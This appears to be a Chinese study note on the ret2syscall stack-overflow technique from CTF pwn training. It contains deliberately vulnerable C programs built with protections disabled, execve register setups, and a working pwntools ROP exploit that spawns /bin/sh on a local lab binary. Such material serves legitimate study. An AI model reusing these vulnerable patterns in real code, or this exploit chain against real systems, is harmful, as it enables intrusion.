ret2syscall
https://www.cnblogs.com/Junglezt/p/18225810 //64
https://uuzdaisuki.com/2020/02/25/%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B9%8Bret2syscall/ //32
https://zoepla.github.io/2018/04/%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5%E5%AD%A6ROP%E4%B9%8Blinux_x64%E7%AF%87/
https://github.com/XDSEC/MoeCTF_2023/blob/c8cbc0a8b8a63994520d15db03788996ad891ce3/Challenges/Pwn/ret2syscall/ret2syscall.c //ret2syscall.c
https://wiki.wgpsec.org/knowledge/ctf/ret2syscall.html
https://syscalls32.paolostivanin.com/
https://shell-storm.org/shellcode/files/linux-4.7-syscalls-x64.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <stdio.h> #include <stdlib.h>
char *shell = "/bin/sh";
int main(void) { setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); char buf[100];
printf("This time, no system() and NO SHELLCODE!!!\n"); printf("What do you plan to do?\n"); gets(buf);
return 0; }
|
1
| gcc -g -fno-stack-protector -no-pie -z norelro -o test test.c
|
32位binary下的shell:
1 2 3 4 5
| eax:0xb ebx:bin_sh_addr ecx:0 edx:0 int 0x80
|
64位binary下的shell:
1 2 3 4 5 6
| rax:59 rdi:bin_sh_addr rsi:0 rdx:0 rcx:0 syscall
|
上面的代码找不到寄存器地址,用下面的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h>
char binsh[] = "/bin/sh";
void gadget() { asm volatile( "pop %rax;" "ret;" "pop %rdi;" "ret;" "pop %rsi;" "pop %rdx;" "ret;" "syscall"); }
int main() { printf("Can you make a syscall?\n"); char buf[60]; read(0, buf, 0x100); return 0; }
__attribute__((constructor)) void unbuffer() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); }
// gcc ret2syscall.c -fno-stack-protector -no-pie -o ret2syscall
|
1
| gcc test.c -fno-stack-protector -no-pie -o test
|
1 2 3 4 5 6 7 8
| pop_rax_ret_addr = 0x000000000040117e pop_rdi_ret_addr = 0x0000000000401180 pop_rsi_rdx_ret_addr = 0x0000000000401182 syscall_addr = 0x0000000000401185 binsh_addr = 0x0000000000404040 offset = 0x40 + 0x08
payload = cyclic(offset) + p64(pop_rax_ret_addr) + p64(59) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(pop_rsi_rdx_ret_addr) + p64(0) + p64(0) + p64(syscall_addr)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context.log_level = "debug" context.terminal = ["bash"]
p = process("/home/pwn/07ret2syscall/test")
pop_rax_ret_addr = 0x000000000040117e pop_rdi_ret_addr = 0x0000000000401180 pop_rsi_rdx_ret_addr = 0x0000000000401182 syscall_addr = 0x0000000000401185 binsh_addr = 0x0000000000404040 offset = 0x40 + 0x08 payload = cyclic(offset) payload += p64(pop_rax_ret_addr) + p64(59) payload += p64(pop_rdi_ret_addr) + p64(binsh_addr) payload += p64(pop_rsi_rdx_ret_addr) + p64(0) + p64(0) payload += p64(syscall_addr)
p.sendline(payload) p.interactive()
|
还是比较容易理解的。不过rcx好像没用到。